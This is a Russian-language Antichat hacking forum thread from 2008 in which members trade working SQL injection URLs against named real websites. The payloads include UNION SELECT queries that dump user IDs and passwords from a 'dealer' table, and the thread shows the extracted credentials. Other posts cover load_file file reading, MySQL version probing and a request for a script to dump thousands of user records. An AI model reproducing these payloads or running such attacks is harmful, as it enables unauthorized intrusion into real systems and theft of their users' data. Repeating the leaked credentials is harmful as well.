ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|
25.05.2008, 18:03
|
|
Новичок
Регистрация: 12.09.2007
Сообщений: 8
Провел на форуме:
1010735
Репутация:
20
|
|
http://www.bitdefenderthailand.com/news_detail.php?id=-86+union+select+1,2,3,4,unhex(hex(concat(user_id)) ),6,7,8,9,10+from+dealer--
ampro_micro
http://www.bitdefenderthailand.com/news_detail.php?id=-86+union+select+1,2,3,4,unhex(hex(concat(password) )),6,7,8,9,10+from+dealer--
eics123
http://www.bitdefenderthailand.com/admin/ -> Login Error :s
Whais is The ProbLem ? Help .
|
|
|
25.05.2008, 18:05
|
|
Новичок
Регистрация: 15.03.2007
Сообщений: 9
Провел на форуме:
91141
Репутация:
0
|
|
а можно ли как-нибудь вызвать ошибку, чтобы отобразился абсолютпуть
ну типа
"SQL error: You have an error in.... ...."
а потом
"Line: 666
File: /home/.../.."
?? спасибо
|
|
|
|
25.05.2008, 18:07
|
|
Постоянный
Регистрация: 07.02.2006
Сообщений: 630
Провел на форуме:
12985021
Репутация:
676
|
|
Cr@zy_King
зачем тогда concat??
http://www.bitdefenderthailand.com/news_detail.php?id=-86+union+select+1,2,3,4,unhex(hex(concat_ws(0x3a,u ser_id,password))%20),6,7,8,9,10+from+dealer--
eics:eics123
ты уверен что логин\пасс админа?? ))
|
|
|
|
25.05.2008, 18:08
|
|
Новичок
Регистрация: 15.03.2007
Сообщений: 9
Провел на форуме:
91141
Репутация:
0
|
|
и если load_file ничего не выводит - то это
неправильный путь? нету прав? отключен вывод ошибок?
что может быть?
|
|
|
|
25.05.2008, 18:11
|
|
Banned
Регистрация: 24.05.2008
Сообщений: 42
Провел на форуме:
63344
Репутация:
26
|
|
скорей всего 2 или 3 вариант
|
|
|
|
25.05.2008, 18:13
|
|
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
Провел на форуме:
2693408
Репутация:
861
|
|
maxclk, может быть file_priv = 0, может быть ты пишешь просто 'path_to_file', а кавычки экранируюца.
|
|
|
|
25.05.2008, 23:51
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
hex/unhex - херня
cast(blabla as binary) рулит
Если прив лоад файл ничего не выводится, то это или 1 или 2-ой вариант
первый отпадает если ты указываешь всегда существующий файл (/etc/hosts например)
Даже если вывод ошибок включён, при неудачном лоад_файл, сообщение об ошибке не появится
|
|
|
|
26.05.2008, 01:48
|
|
Постоянный
Регистрация: 24.05.2008
Сообщений: 589
Провел на форуме:
3629857
Репутация:
504
|
|
у меня такой вопрос появился... например есть уже раскрученая скуль вида site.com/index.php?id=-1+union+select+1,concat_ws(0x3a,user,password),3+f rom+user+limit+1,1/*
в ней выводится только по одной строке из базы (т.е. надо баловатся с лимитом).. все бы ничего, вот только в базе 9000 записей и ручками их все пребирать будет сложновато... есть ли скрипты которые перебирают лимит от 0 до нужного числа и сохраняют все записи в файл?
если у кого нить есть то поделитесь пожалуйста, так каксам я пока что скриптовых языков не знаю, но все еще впереди((=
|
|
|
|
26.05.2008, 10:57
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
http://www.voiptraders.co.uk/shop.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
выдает ошибку
http://www.voiptraders.co.uk/shop.php?id=-3+order+by+17/* а так вроде подобрал таблицы..в чем трабла?
|
|
|
|
26.05.2008, 11:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 22.01.2007
Сообщений: 616
Провел на форуме:
7452489
Репутация:
1359
|
|
Сообщение от Gorev
http://www.voiptraders.co.uk/shop.php?id=-3+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7/*
выдает ошибку
http://www.voiptraders.co.uk/shop.php?id=-3+order+by+17/* а так вроде подобрал таблицы..в чем трабла?
это 3я ветка мускула нет union'а
сравни
Код:
http://www.voiptraders.co.uk/product_details.php?id=216+and+substring(version(),1,1)=5/*
Код:
http://www.voiptraders.co.uk/product_details.php?id=216+and+substring(version(),1,1)=4/*
Код:
http://www.voiptraders.co.uk/product_details.php?id=216+and+substring(version(),1,1)=3/*
3й запрос выберет инфу.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
